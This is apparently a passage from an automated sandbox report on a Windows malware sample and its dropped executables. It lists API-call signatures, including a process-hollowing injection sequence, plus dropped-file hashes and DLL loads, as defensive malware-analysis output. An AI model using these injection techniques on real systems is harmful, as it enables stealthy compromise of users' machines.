                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004015F5 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_004015F5
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004015F8 NtDuplicateObject,NtCreateSection,HeapCreate,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_004015F8
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00402188 NtQuerySystemInformation,NtQuerySystemInformation,4_2_00402188
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004027A0 NtClose,4_2_004027A0
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004021A1 NtQuerySystemInformation,NtQuerySystemInformation,4_2_004021A1
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004021BB NtQuerySystemInformation,NtQuerySystemInformation,4_2_004021BB
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04990110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,10_2_04990110
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,15_2_049E0110
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00416F60: GetConsoleAliasesA,InterlockedDecrement,FindAtomW,DeviceIoControl,GetComputerNameW,SetDefaultCommConfigW,FreeEnvironmentStringsA,AddAtomW,GetCurrentDirectoryA,EnumDateFormatsW,FatalAppExitW,GetModuleHandleExW,GetConsoleAliasesLengthW,DnsHostnameToComputerNameA,GetLocaleInfoW,TzSpecificLocalTimeToSystemTime,SetCurrentDirectoryW,OpenWaitableTimerA,CompareStringA,CreateDirectoryW,0_2_00416F60
                          Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0042204D0_2_0042204D
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004210600_2_00421060
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00421C650_2_00421C65
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041B6260_2_0041B626
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041C0C60_2_0041C0C6
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041CCD30_2_0041CCD3
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004214F50_2_004214F5
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004218930_2_00421893
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041C7590_2_0041C759
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041BB750_2_0041BB75
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041957E0_2_0041957E
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004227340_2_00422734
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041C9D40_2_0041C9D4
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0042204D4_2_0042204D
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004210604_2_00421060
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00421C654_2_00421C65
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0041B6264_2_0041B626
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0041C0C64_2_0041C0C6
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0041CCD34_2_0041CCD3
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004214F54_2_004214F5
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004218934_2_00421893
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0041C7594_2_0041C759
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0041BB754_2_0041BB75
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0041957E4_2_0041957E
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004227344_2_00422734
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0041C9D44_2_0041C9D4
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0042204D5_2_0042204D
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_004210605_2_00421060
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_00421C655_2_00421C65
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0041B6265_2_0041B626
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0041C0C65_2_0041C0C6
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0041CCD35_2_0041CCD3
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_004214F55_2_004214F5
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_004218935_2_00421893
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0041C7595_2_0041C759
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0041BB755_2_0041BB75
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0041957E5_2_0041957E
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_004227345_2_00422734
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeCode function: 5_2_0041C9D45_2_0041C9D4
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499352010_2_04993520
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499752010_2_04997520
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499A69910_2_0499A699
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049DB69F10_2_049DB69F
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499E6E010_2_0499E6E0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499A79A10_2_0499A79A
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049BD7F110_2_049BD7F1
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499C76010_2_0499C760
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499B0B010_2_0499B0B0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049A00D010_2_049A00D0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049930F010_2_049930F0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049970E010_2_049970E0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499B00010_2_0499B000
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049AF03010_2_049AF030
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499A02610_2_0499A026
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049BD1A410_2_049BD1A4
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499912010_2_04999120
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049DE14110_2_049DE141
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04A122C010_2_04A122C0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499722010_2_04997220
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499739310_2_04997393
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049DE37C10_2_049DE37C
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04995DF710_2_04995DF7
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04995DE710_2_04995DE7
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049D2D1E10_2_049D2D1E
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049C4E9F10_2_049C4E9F
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04998E6010_2_04998E60
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499788010_2_04997880
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049B18D010_2_049B18D0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049BF9B010_2_049BF9B0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049BE9A310_2_049BE9A3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049989D010_2_049989D0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049959F710_2_049959F7
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499A91610_2_0499A916
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04997A8010_2_04997A80
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499CA1010_2_0499CA10
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_0499DBE010_2_0499DBE0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_049A0B0010_2_049A0B00
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 10_2_04992B6010_2_04992B60
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040D24011_2_0040D240
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00419F9011_2_00419F90
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040C07011_2_0040C070
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0042E00311_2_0042E003
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040803011_2_00408030
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0041016011_2_00410160
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004021C011_2_004021C0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0044237E11_2_0044237E
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004084C011_2_004084C0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004344FF11_2_004344FF
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0043E5A311_2_0043E5A3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040A66011_2_0040A660
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0041E69011_2_0041E690
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040674011_2_00406740
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040275011_2_00402750
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040A71011_2_0040A710
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040878011_2_00408780
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0042C80411_2_0042C804
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040688011_2_00406880
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004349F311_2_004349F3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004069F311_2_004069F3
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00402B8011_2_00402B80
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00406B8011_2_00406B80
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0044ACFF11_2_0044ACFF
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0042CE5111_2_0042CE51
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00434E0B11_2_00434E0B
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00406EE011_2_00406EE0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00420F3011_2_00420F30
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040505711_2_00405057
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0042F01011_2_0042F010
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004070E011_2_004070E0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004391F611_2_004391F6
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0043524011_2_00435240
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004C934311_2_004C9343
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040544711_2_00405447
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040545711_2_00405457
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0044950611_2_00449506
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0044B5B111_2_0044B5B1
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0043567511_2_00435675
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040968611_2_00409686
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040F73011_2_0040F730
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0044D7A111_2_0044D7A1
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0048192011_2_00481920
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0044D9DC11_2_0044D9DC
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00449A7111_2_00449A71
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00443B4011_2_00443B40
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00409CF911_2_00409CF9
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040DD4011_2_0040DD40
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00427D6C11_2_00427D6C
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040BDC011_2_0040BDC0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00409DFA11_2_00409DFA
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00409F7611_2_00409F76
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0046BFE011_2_0046BFE0
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00449FE311_2_00449FE3
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E352015_2_049E3520
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E752015_2_049E7520
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EA69915_2_049EA699
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A2B69F15_2_04A2B69F
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EE6E015_2_049EE6E0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EA79A15_2_049EA79A
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A0D7F115_2_04A0D7F1
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EC76015_2_049EC760
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EB0B015_2_049EB0B0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049F00D015_2_049F00D0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E30F015_2_049E30F0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E70E015_2_049E70E0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EB00015_2_049EB000
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049FF03015_2_049FF030
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EA02615_2_049EA026
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A0D1A415_2_04A0D1A4
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E912015_2_049E9120
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A2E14115_2_04A2E141
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A622C015_2_04A622C0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E722015_2_049E7220
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E739315_2_049E7393
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A2E37C15_2_04A2E37C
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E5DF715_2_049E5DF7
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E5DE715_2_049E5DE7
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A22D1E15_2_04A22D1E
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A14E9F15_2_04A14E9F
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E8E6015_2_049E8E60
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E788015_2_049E7880
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A018D015_2_04A018D0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A0E9A315_2_04A0E9A3
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_04A0F9B015_2_04A0F9B0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E89D015_2_049E89D0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E59F715_2_049E59F7
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EA91615_2_049EA916
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E7A8015_2_049E7A80
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049ECA1015_2_049ECA10
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049EDBE015_2_049EDBE0
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049F0B0015_2_049F0B00
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: 15_2_049E2B6015_2_049E2B60
                          Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dll 036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
                          Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exe C0B12BBDCB41F6941D4356309FD8A43F61CBFD18EEE044FF1771CBDBBA248466
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: String function: 04A08EC0 appears 57 times
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeCode function: String function: 04A10160 appears 50 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 00428C81 appears 42 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 049B8EC0 appears 57 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 004547A0 appears 75 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 0042F7C0 appears 97 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 0044F23E appears 53 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 00428520 appears 77 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 049C0160 appears 50 times
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: String function: 00454E50 appears 41 times
                          Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4204 -ip 4204
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeSection loaded: msvcr100.dllJump to behavior
                          Source: C:\Windows\explorer.exeSection loaded: taskschd.dllJump to behavior
                          Source: C:\Windows\explorer.exeSection loaded: webio.dllJump to behavior
                          Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
                          Source: C:\Windows\explorer.exeSection loaded: wpnapps.dllJump to behavior
                          Source: C:\Windows\explorer.exeSection loaded: smartscreenps.dllJump to behavior
                          Source: C:\Windows\explorer.exeSection loaded: cdprt.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\ubrawdbSection loaded: msvcr100.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\BDBB.exeSection loaded: msvcr100.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: wer.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: dbghelp.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: dbgcore.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: wer.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
